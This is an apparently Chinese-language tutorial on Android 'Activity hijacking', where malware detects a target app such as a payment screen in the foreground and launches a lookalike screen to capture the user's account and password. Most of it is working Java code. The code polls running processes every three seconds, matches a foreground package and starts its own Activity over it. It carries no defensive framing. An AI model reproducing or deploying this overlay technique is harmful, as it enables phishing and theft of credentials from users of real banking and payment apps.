劫持Activity

Activity劫持概念：
我们登陆正常的APP界面时，被恶意程序监听到，模仿正常界面启动我们的Activity；例如我们支付界面被劫持后，恶意软件启动自己的Activity来模仿支付界面，诱使你输入账号和密码；从而达到劫持效果


劫持核心代码原理：
1. 读取当前运行的app进程，判断在前端显示并且其他属性，得到劫持的app后启动自己模仿的activity即可
2. 定周期的执行该任务，扫描运行程序列表

	
	mTimer = new Timer();
	mTimer.schedule(tTask, 3000, 3000);				//每隔3秒执行一次任务
	
	/**
	 * Activity劫持定时监控
	 * 每隔一定时间去搜索手机屏幕上运行的程序
	 */
	private TimerTask tTask = new TimerTask() {
		
		@Override
		public void run() {
			// TODO Auto-generated method stub
			
			ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
			
			List<RunningAppProcessInfo> info = am.getRunningAppProcesses();					//得到运行app进程
			Log.i(TAG, "running process size " + info.size() +" "+ Process.myPid());
			//枚举进程
			for(RunningAppProcessInfo rInfo : info){
				
				String processName = rInfo.processName;
				
				Log.i(TAG, "processName " + processName);
				//判断前台进程
				if(rInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND && processName.contains("com.example.testactivity")){
					Log.i(TAG, "running processName " + rInfo.processName + " pid " + rInfo.pid + " importace " + 
														rInfo.importance + " importanceReasonCode " + rInfo.importanceReasonCode + 
														" importanceReasonPid " + rInfo.importanceReasonPid
														+ " lru " + rInfo.lru + " importanceReasonComponent " + rInfo.importanceReasonComponent + 
														" pkgList " + rInfo.pkgList);
					if(mTimer != null){
						Log.i(TAG, "mTimer.cancel");
						mTimer.cancel();
						mTimer = null;
					}
					Intent intent = new Intent(getBaseContext(),MainActivity.class);
					intent.putExtra("processName", rInfo.processName);
					intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
					getApplication().startActivity(intent);
				}
			}
			
		}
	};